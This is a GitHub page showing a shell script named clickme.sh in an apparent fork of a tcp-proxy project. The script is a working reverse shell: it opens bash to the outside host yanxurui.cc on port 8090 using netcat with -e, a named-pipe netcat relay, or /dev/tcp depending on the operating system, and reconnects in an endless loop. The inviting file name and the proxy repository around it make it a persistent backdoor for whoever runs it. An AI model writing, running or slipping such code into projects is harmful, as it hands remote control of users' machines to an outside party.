forked from maxmcd/tcp-proxy
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathclickme.sh
74 lines (64 loc) · 1.44 KB
/
clickme.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
backshell_nc()
{
nc yanxurui.cc 8090 -e bash
}
backshell_nc_pipe()
{
pipe=/tmp/tmp_fifo
if [ -e $pipe ]
then
echo "$pipe exits"
else
mkfifo $pipe
fi
cat $pipe | /bin/bash 2>&1 | nc yanxurui.cc 8090 > $pipe
}
backshell_tcp()
{
bash >& /dev/tcp/yanxurui.cc/8090 <&1
}
backshell ()
{
date
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
# Linux
backshell_tcp
elif [[ "$OSTYPE" == "darwin"* ]]; then
# Mac OSX
backshell_nc_pipe
elif [[ "$OSTYPE" == "cygwin" ]]; then
# POSIX compatibility layer and Linux environment emulation for Windows
echo "Todo"
elif [[ "$OSTYPE" == "msys" ]]; then
echo "Todo"
# Lightweight shell and GNU utilities compiled for Windows (part of MinGW)
elif [[ "$OSTYPE" == "win32" ]]; then
echo "Todo"
# I'm not sure this can happen.
elif [[ "$OSTYPE" == "freebsd"* ]]; then
echo "Todo"
# ...
else
# Unknown.
backshell_nc
fi
retval=$?
echo "session ended"
if [ "$retval" == 0 ]
then
echo "exited succussfully"
else
# sleep for a while in case nc fails and this loop consmes too much CPU
# this could happen when the client has not Internet access or the server is not running
echo "exited unsuccussfully. sleeping..."
sleep 3
fi
}
loop()
{
while true
do
backshell
done
}
loop